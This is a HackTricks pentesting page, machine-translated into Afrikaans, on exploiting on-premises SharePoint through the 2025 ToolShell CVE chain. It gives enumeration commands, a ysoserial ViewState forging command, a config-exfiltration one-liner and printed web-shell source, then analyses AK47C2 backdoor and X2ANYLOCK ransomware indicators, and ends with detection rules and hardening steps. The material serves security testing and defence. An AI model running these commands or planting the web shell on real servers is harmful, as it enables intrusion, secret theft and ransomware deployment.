Microsoft SharePoint – Pentesting & Exploitation

Reading time: 7 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Microsoft SharePoint (on-premises) is gebou op ASP.NET/IIS. Die meeste van die klassieke web-aanvaloppervlak (ViewState, Web.Config, web shells, ens.) is dus teenwoordig, maar SharePoint verskaf ook honderde eie ASPX-bladsye en webdienste wat die blootgestelde aanvaloppervlak dramaties vergroot. Hierdie bladsy versamel praktiese truuks om te enumerate, te benut en volhard in SharePoint-omgewings met klem op die 2025-uitbuitingsketting wat deur Unit42 bekend gemaak is (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit ketting (ook bekend as “ToolShell”)

2.1 CVE-2025-49704 – Kode-inspuiting op ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> laat willekeurige Server-Side Include kode toe om in die bladsy ingespuit te word wat later deur ASP.NET gecompileer word. 'n Aanvaller kan C# insluit wat Process.Start() uitvoer en 'n kwaadwillige ViewState laat val.

2.2 CVE-2025-49706 – Onbehoorlike Verifikasie Omseiling

Dieselfde bladsy vertrou die X-Forms_BaseUrl kop om die webwerf konteks te bepaal. Deur dit na /_layouts/15/ te wys, kan MFA/SSO wat by die wortelwebwerf afgedwing word, sonder verifikasie omseil word.

2.3 CVE-2025-53770 – Onverifieerde ViewState Deserialisering → RCE

Sodra die aanvaller 'n gadget in ToolPane.aspx beheer, kan hulle 'n ongetekende (of MAC-slegs) __VIEWSTATE waarde plaas wat .NET deserialisering binne w3wp.exe aktiveer wat lei tot kode-uitvoering.

As ondertekening geaktiveer is, steel die ValidationKey/DecryptionKey van enige web.config (sien 2.4) en vervals die payload met ysoserial.net of ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

Vir 'n diepgaande verduideliking oor die misbruik van ASP.NET ViewState, lees:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Pad Traversal / web.config Ontsluiting

Deur 'n vervaardigde Source parameter na ToolPane.aspx te stuur (bv. ../../../../web.config), word die geteikende lêer teruggestuur, wat die lekkasie van die volgende toelaat:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ vervals ViewState / ASPXAUTH koekies
  • verbindingstrings & geheime.

3. Post-exploitatie resepte waargeneem in die natuur

3.1 Exfiltreer elke .config lêer (variasie-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Die resulterende debug_dev.js kan anoniem afgelaai word en bevat alle sensitiewe konfigurasie.

3.2 Ontplooi 'n Base64-gecodeerde ASPX web shell (variasie-2)

powershell.exe -EncodedCommand <base64>

Gedekodeerde payload voorbeeld (verkort):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Geschryf vir:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

Die skulp bied eindpunte om te lees / draai masjien sleutels wat die vervalsing van ViewState en ASPXAUTH koekies oor die plaas moontlik maak.

3.3 Obfuscated variasie (variasie-3)

Dieselfde skulp maar:

  • gelaat onder ...\15\TEMPLATE\LAYOUTS\
  • veranderlike name verminder tot enkele letters
  • Thread.Sleep(<ms>) bygevoeg vir sandbox-ontvlugting & tyd-gebaseerde AV omseiling.

3.4 AK47C2 multi-protokol agterdeur & X2ANYLOCK ransomware (waargeneem 2025-2026)

Onlangse insident-respons ondersoeke (Unit42 “Project AK47”) toon hoe aanvallers die ToolShell ketting na aanvanklike RCE benut om 'n dubbel-kanaal C2 implantaat en ransomware in SharePoint omgewings te ontplooi:

AK47C2 – dnsclient variasie

  • Hard-gecodeerde DNS bediener: 10.7.66.10 wat kommunikeer met die gesaghebbende domein update.updatemicfosoft.com.
  • Boodskappe is JSON-objekte XOR-geënkripteer met die statiese sleutel VHBD@H, hex-gekodeer en ingebed as sub-domein etikette.
json
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Lang navrae word in stukke verdeel en met s voorafgegaan, dan weer saamgestel aan die bediener-kant.
  • Bediener antwoord in TXT rekords wat dieselfde XOR/hex skema dra:
json
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Weergawe 202504 het 'n vereenvoudigde formaat <COMMAND>::<SESSION_KEY> en stuk merkers 1, 2, a bekendgestel.

AK47C2 – httpclient variasie

  • Hergebruik die presies dieselfde JSON & XOR roetine maar stuur die hex blob in die HTTP POST liggaam via libcurl (CURLOPT_POSTFIELDS, ens.).
  • Dieselfde taak/resultaat werkvloei wat toelaat:
  • Arbitraire skulp opdrag uitvoering.
  • Dinamiese slaap interval en kill-switch instruksies.

X2ANYLOCK ransomware

  • 64-bit C++ payload gelaai deur DLL kant-laai (sien hieronder).
  • Gebruik AES-CBC vir lêer data + RSA-2048 om die AES sleutel te verpak, dan voeg die uitbreiding .x2anylock by.
  • Herhaaldelik plaaslike skywe en ontdekte SMB deeljies enkripteer; slaat stelselpaaie oor.
  • Laat 'n duidelike teksnota How to decrypt my data.txt agter wat 'n statiese Tox ID vir onderhandelinge insluit.
  • Bevat 'n interne kill-switch:
c
if (file_mod_time >= "2026-06-06") exit(0);

DLL kant-laai ketting

  1. Aanvaller skryf dllhijacked.dll/My7zdllhijacked.dll langs 'n wettige 7z.exe.
  2. SharePoint-geboorte w3wp.exe begin 7z.exe, wat die kwaadwillige DLL laai as gevolg van Windows soekorde, wat die ransomware ingangspunt in geheue aanroep.
  3. 'n Afsonderlike LockBit laaier waargeneem (bbb.msiclink_x86.execlink_dll_x86.dll) dekripteer skulp-kode en voer DLL holing in d3dl1.dll uit om LockBit 3.0 te laat loop.

info

Dieselfde statiese Tox ID wat in X2ANYLOCK gevind is, verskyn in gelekte LockBit databasisse, wat 'n ooreenkoms tussen vennote voorstel.


4. Opsporing idees

TelemetrieWaarom dit verdag is
w3wp.exe → cmd.exeWerknemer proses behoort selde 'n skulp te genereer
cmd.exe → powershell.exe -EncodedCommandKlassieke lolbin patroon
Lêer gebeurtenisse wat debug_dev.js of spinstall0.aspx skepIOCs regstreeks van ToolShell
ProcessCmdLine BEVAT ToolPane.aspx (ETW/Module logs)Publieke PoCs roep hierdie bladsy aan

Voorbeeld XDR / Sysmon reël (pseudo-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. Versterking & Versagting

  1. Patch – Julie 2025 sekuriteitsopdaterings herstel alle vier CVE's.
  2. Draai elke <machineKey> en ViewState geheime na 'n kompromie.
  3. Verwyder LAYOUTS skrywe toestemming van WSS_WPG & WSS_ADMIN_WPG groepe.
  4. Blokkeer eksterne toegang tot /_layouts/15/ToolPane.aspx op proxy/WAF vlak.
  5. Aktiveer ViewStateUserKey, MAC geaktiveer, en pasgemaakte EventValidation.

Verwante truuks

  • IIS post-exploitatie & web.config misbruik:

IIS - Internet Information Services

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks